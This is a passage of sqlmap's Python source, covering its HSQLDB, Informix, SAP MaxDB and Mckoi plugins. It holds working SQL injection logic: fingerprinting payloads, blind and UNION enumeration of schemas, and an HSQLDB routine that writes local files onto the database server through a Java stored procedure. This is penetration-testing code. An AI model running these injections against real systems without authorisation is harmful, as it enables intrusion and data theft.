logger.debug(debugMsg) addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes) addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" inject.goStacked(addFuncQuery) fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warning(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes) inject.goStacked(invokeQuery) logger.debug("cleaning up the database management system") delQuery = "DELETE PROCEDURE %s" % func_name inject.goStacked(delQuery) message = "the local file '%s' has been written on the back-end DBMS" % localFile message += "file system ('%s')" % remoteFile logger.info(message) ================================================ FILE: plugins/dbms/hsqldb/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.HSQLDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: if re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warning(warnMsg) return False else: result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) if result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warning(warnMsg) return False kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warning(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) return False def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warning(warnMsg) def checkDbmsOs(self, detailed=False): if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) else: self.userChooseDbmsOs() ================================================ FILE: plugins/dbms/hsqldb/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" True """ def escaper(value): return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/hsqldb/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/informix/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import INFORMIX_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.informix.enumeration import Enumeration from plugins.dbms.informix.filesystem import Filesystem from plugins.dbms.informix.fingerprint import Fingerprint from plugins.dbms.informix.syntax import Syntax from plugins.dbms.informix.takeover import Takeover from plugins.generic.misc import Miscellaneous class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Informix methods """ def __init__(self): self.excludeDbsList = INFORMIX_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.INFORMIX] = Syntax.escape ================================================ FILE: plugins/dbms/informix/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/ibmdb/python-ibmdb User guide: https://github.com/ibmdb/python-ibmdb/wiki/README API: https://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ def connect(self): self.initConnection() try: database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except ibm_db_dbi.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/informix/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def searchDb(self): warnMsg = "on Informix searching of databases is not implemented" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Informix searching of tables is not implemented" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Informix searching of columns is not implemented" logger.warning(warnMsg) return [] def search(self): warnMsg = "on Informix search option is not available" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Informix it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/informix/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/informix/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import INFORMIX_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.INFORMIX) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.INFORMIX return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES): setDbms(DBMS.INFORMIX) self.getBanner() return True infoMsg = "testing %s" % DBMS.INFORMIX logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)") if result: infoMsg = "confirming %s" % DBMS.INFORMIX logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX logger.warning(warnMsg) return False # Determine if it is Informix >= 11.70 if inject.checkBooleanExpression("CHR(32)=' '"): Backend.setVersion(">= 11.70") setDbms(DBMS.INFORMIX) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX logger.info(infoMsg) for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/informix/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import isDBMSVersionAtLeast from lib.core.common import randomStr from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('12.10') ['12.10'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) retVal = expression if isDBMSVersionAtLeast("11.70"): excluded = {} for _ in re.findall(r"DBINFO\([^)]+\)", expression): excluded[_] = randomStr() expression = expression.replace(_, excluded[_]) retVal = Syntax._escape(expression, quote, escaper) for _ in excluded.items(): retVal = retVal.replace(_[1], _[0]) return retVal ================================================ FILE: plugins/dbms/informix/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self) ================================================ FILE: plugins/dbms/maxdb/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MAXDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.maxdb.enumeration import Enumeration from plugins.dbms.maxdb.filesystem import Filesystem from plugins.dbms.maxdb.fingerprint import Fingerprint from plugins.dbms.maxdb.syntax import Syntax from plugins.dbms.maxdb.takeover import Takeover from plugins.generic.misc import Miscellaneous class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SAP MaxDB methods """ def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape ================================================ FILE: plugins/dbms/maxdb/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on SAP MaxDB it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/maxdb/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import isListLike from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration from thirdparty import six from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) kb.data.processChar = lambda x: x.replace('_', ' ') if x else x def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].dbs query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True) if retVal: kb.data.cachedDbs = next(six.itervalues(retVal[0])) if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in (_ for _ in dbs if _): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].tables for db in dbs: query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind) if retVal: for table in list(retVal[0].values())[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(kb.data.cachedTables.values()) if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind) if retVal: table = {} columns = {} for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns def getPrivileges(self, *args, **kwargs): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def search(self): warnMsg = "on SAP MaxDB search option is not available" logger.warning(warnMsg) def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/maxdb/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/maxdb/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MAXDB_ALIASES from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MAXDB) def _versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warning(warnMsg) return None minor, major = None, None for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: major = version for version in xrange(0, 10): result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version) if result: minor = version if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp blank = " " * 15 value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MAXDB return value actVer = Format.getDbms() + " (%s)" % self._versionCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: value += "\n%sbanner parsing fingerprint: -" % blank htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warning(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warning(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() else: conf.db = "USER" if conf.tbl: conf.tbl = conf.tbl.upper() ================================================ FILE: plugins/dbms/maxdb/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True """ return expression ================================================ FILE: plugins/dbms/maxdb/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/mckoi/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MCKOI_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mckoi.enumeration import Enumeration from plugins.dbms.mckoi.filesystem import Filesystem from plugins.dbms.mckoi.fingerprint import Fingerprint from plugins.dbms.mckoi.syntax import Syntax from plugins.dbms.mckoi.takeover import Takeover from plugins.generic.misc import Miscellaneous class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Mckoi methods """ def __init__(self): self.excludeDbsList = MCKOI_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.MCKOI] = Syntax.escape ================================================ FILE: plugins/dbms/mckoi/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on Mckoi it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/mckoi/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Mckoi it is not possible to get the banner" logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Mckoi it is not possible to enumerate the current user" logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Mckoi it is not possible to get name of the current database" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Mckoi it is not possible to test if current user is DBA" logger.warning(warnMsg) def getUsers(self): warnMsg = "on Mckoi it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Mckoi it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Mckoi it is not possible to search databases" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Mckoi it is not possible to search tables" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Mckoi it is not possible to search columns" logger.warning(warnMsg) return [] def search(self): warnMsg = "on Mckoi search option is not available" logger.warning(warnMsg) def getHostname(self): warnMsg = "on Mckoi it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/mckoi/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Mckoi it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def 